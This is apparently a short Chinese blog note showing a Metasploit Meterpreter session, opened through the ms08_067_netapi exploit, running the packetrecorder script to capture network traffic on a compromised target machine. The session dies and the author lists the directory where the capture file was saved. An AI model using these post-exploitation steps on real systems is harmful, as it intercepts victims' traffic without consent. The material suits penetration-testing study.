metasploit查看目标机上的所有流量

meterpreter > run packetrecorder -i 1
[*] Starting Packet capture on interface 1
[+] Packet capture started
[*] Packets being saved in to /root/.msf4/logs/scripts/packetrecorder/ROOT-9743DD32E3_20130427.1003/ROOT-9743DD32E3_20130427.1003.cap
[*] Packet capture interval is 30 Seconds

[*] Meterpreter session 6 closed.  Reason: Died

[*] IOError closed stream
[+] Stopping Packet sniffer...
[-] Error in script: IOError closed stream
msf  exploit(ms08_067_netapi) >


失败了。查看那个目录:


root@bt:~/.msf4/logs/scripts/packetrecorder/ROOT-9743DD32E3_20130427.1003# ll
total 12
drwxr-xr-x 2 root root    80 2013-04-27 14:13 ./
drwxr-xr-x 4 root root    80 2013-04-27 14:10 ../
-rw-r--r-- 1 root root 10718 2013-04-27 14:10 ROOT-9743DD32E3_20130427.1003.cap
-rw-r--r-- 1 root root     0 2013-04-27 14:11 ROOT-9743DD32E3_20130427.1003.cap.raw

已经记录下来了。

你可能感兴趣的:(metasploit查看目标机上的所有流量)